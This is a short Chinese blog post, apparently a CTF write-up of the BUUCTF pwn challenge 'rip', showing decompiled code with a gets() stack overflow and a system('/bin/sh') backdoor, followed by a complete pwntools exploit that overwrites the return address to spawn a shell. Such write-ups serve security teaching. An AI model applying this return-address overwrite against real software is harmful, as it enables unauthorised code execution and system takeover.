[BUU-WriteUp]rip

原创

m0sway 于 2022-02-25 10:53:18 发布 4736 收藏

分类专栏： BUU-WP 文章标签： wp 网络安全 pwn 信息安全 python

本文链接：https://blog.csdn.net/m0sway/article/details/123128113

rip

使用`checksec`查看：

保护措施全部关闭。

放进IDA中分析：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}
```


- `gets()`：存在栈溢出

`fun()`：

```
int fun()
{
  return system("/bin/sh");
}
```

- 存在后门函数

步骤解析

> s 距离 rbp `0xF`，无canary，直接覆盖即可

完整exp

```
from pwn import *

p = process("../buu/rip")
# p = remote("node4.buuoj.cn",27965)

elf = ELF("../buu/rip")
fun_addr = elf.symbols['fun']
payload = b'M' * (0xF + 8) + p64(fun_addr-1) +p64(fun_addr)
p.sendline(payload)

p.interactive()
```